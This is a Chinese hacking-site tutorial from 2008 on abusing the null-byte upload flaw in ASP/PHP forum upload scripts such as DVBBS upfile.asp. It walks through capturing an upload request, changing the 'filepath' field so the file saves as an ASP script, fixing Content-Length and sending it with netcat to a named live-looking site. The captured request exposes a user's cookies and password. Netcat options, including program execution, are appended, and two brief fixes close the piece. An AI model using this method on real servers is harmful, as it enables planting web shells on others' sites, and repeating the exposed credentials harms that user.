通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
PHP与ASP脚本程序上传漏洞探究与防御
责任编辑:酷酷の鱼   更新日期:2008-2-16
 
1:漏洞利用的原理只是针对form格式上传的asp和php脚本*** 
nc(netcat) 
   用于提交数据包 
   dos界面下运行: 
   nc -vv www.***.com 80<1.txt 
   -vv: 回显 
   80:  www端口 
   1.txt: 就是你要发送的数据包 
  (更多使用方法请查看本区的帖子) 
wse(wsockexpert) 
   对本机端口的监视,抓取ie提交的数据包 
2:漏洞原理 
下面例子假设的前提 
www主机:  www.***.com; 
bbs路径 :  /bbs/ 
漏洞源于对动网上传文件的研究,建议有一定编程经验的 
看看dvbbs的upfile.asp文件,没有必要全部看懂 
upfile是通过生成一个form表上传,如下 
<form name="form" method="post" action="upfile.asp" ...> 
<input type="hidden" name="filepath" value="uploadface"> 
<input type="hidden" name="act" value="upload"> 
<input type="file" name="file1"> 
<input type="hidden" name="fname"> 
<input type="submit" name="submit" value="上传" ...></form> 
用到的变量: 
filepath 默认值uploadface 属性hiden 
act      默认值upload     属性hiden 
file1    就是你要传的那个文件 
关键是 filepath 这个变量! 
默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 
文件是用你的上传时间命名的,就是upfile里的这一句 
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext 
-------------------------------------- 
我们知道计算机里面的数据是一""为标致的用过c语言的都知道 
char data[]="bbs" 
这个data数组长度是4: b b s 
如果我们构造filepath如下,会怎么样呢? 
filepath="/newmm.asp" 
我们在2004.09.24.08.24传的文件就会发生变化 
没有改时: 
_blank>http://www.***.com/bbs/uploadface/200409240824.jpg 
用我们构造的filepath时: 
_blank>http://www.***.com/newmm.asp/200409240824.jpg 
这样当服务器接收filepath数据时,检测到newmm.asp后面的 
就理解为filepath的数据就结束了 
这样我们上传的文件,比如c:.asp 
就保存成: _blank>http://www.***.com/newmm.asp 
3:后期补充 
很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 
有很多网站只是加了n个hiden属性的变量对付upfile.exe就是那个 
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 
自己改wse抓到的包里的filepath变量,然后在用nc提交。。。 
就算他加n个hiden变量也于事无补。 
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 
就是我们的新理论诞生的时候! 

4:详细实例: 
--------------------- 
一、wse抓包结果(存到1.txt里): 
post /bbs/upphoto/upfile.asp http/1.1 
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* 
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp 
accept-language: zh-cn 
content-type: multipart/form-data; boundary=-----------7d423a138d0278 
accept-encoding: gzip, deflate 
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) 
host: _blank>www.xin126.com 
content-length: 1969 
connection: keep-alive 
cache-control: no-cache 
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84 

-----------------------------7d423a138d0278 
content-disposition: form-data; name="filepath" 

../medias/myphoto/ 
-----------------------------7d423a138d0278 
... ... 

上传 
---------------7d423a138d0278----------------- 
二、ultraedit打开1.txt改数据: 
...... 
-----------------------------7d423a138d0278 
content-disposition: form-data; name="filepath" 
/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了 
...... 
---------------------------- 
三、重新计算cookies长度,然后nc提交 

nc -vv _blank>www.xin126.com 80 <1.txt 

ultraedit是一个16位编辑器网上可以下载得到 
我们主要用来写那个结束标致: ====>16位表示:0x00或者00h 
其实你改的时候就直接再filepath的结尾处加个00就ok了 

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 
...... 
host: _blank>www.xin126.com 
content-length: 1969  <======就是这个 
connection: keep-alive 
cache-control: no-cache 
...... 
计算会吧?一个字母、数字就是1 

对于上传漏洞提出的解决思路:(仅供参考) 

1、一般的上传是把上传路径作为一个变量来处理 
===>我们的对策就是把filepath变成常量。。。 
这个方法是目前最有效的(我认为的) 

2、加强对于的处理,原来我们是读到这里就结束 
我们继续读直道下一个变量开始的地方,处理就ok了 

附:NC Usage: 
监听外部主机 
        nc [-options] hostname port[s] [ports] ... 
监听本地主机 
        nc -l -p port [options] [hostname] [port] 
options: 
        -d              detach from console, stealth mode 
        -e prog         inbound program to exec [dangerous!!] 
        -g gateway      source-routing hop point[s], up to 8 
        -g num          source-routing pointer: 4, 8, 12, ... 
        -h              this cruft 
        -i secs         delay interval for lines sent, ports scanned 
        -l              listen mode, for inbound connects 
        -l              listen harder, re-listen on socket close 
        -n              numeric-only ip addresses, no dns 
        -o file         hex dump of traffic 
        -p port         local port number 
        -r              randomize local and remote ports 
        -s addr         local source address 
        -t              answer telnet negotiation 
        -u              udp mode 
        -v              verbose [use twice to be more verbose] 
        -w secs         timeout for connects and final net reads 
        -z              zero-i/o mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司02月16日发布 每日计算机病毒及木马播报
    推荐文章 推荐:主流Unix操作系统的安全检测和防范
    普通文章 PHP与ASP脚本程序上传漏洞探究与防御
    普通文章 在可执行文件中添加菜单项
    普通文章 防火墙防护与渗透技术总体介绍
    普通文章 如何隐藏你的入侵踪迹与日至清除
    普通文章 五部介绍Windows下的Sock代理
    普通文章 安全检测Unix和Linux服务器入门精讲
    普通文章 华硕易PC预装软件存漏洞
    普通文章 Vista SP1 RTM完成 语音识别漏洞并未修补
    热门文章
    普通文章瑞星公司02月05日发布 每日计算机病毒及木马播报
    普通文章上网购物 “拜年”病毒须提防
    普通文章国家计算机病毒中心提醒春节要防范网游大盗等病毒
    普通文章遭Alexa“恶搞” 腾讯变成火葬网?
    普通文章“玛格尼亚”变种bde修改注册表 自动运行
    普通文章网上发布“传奇私服”广告 四川夫妇被判罚百万
    普通文章Google炮轰微软 称其收购雅虎是为垄断互联网
    普通文章OpenBSD rtlabel_id2name()本地拒绝执行服务漏洞
    普通文章Visual FoxPro的vfp6r.dll ActiveX 代码执行漏洞
    普通文章Trw2k1.11 时间过期和注册提示框去处
    精彩专题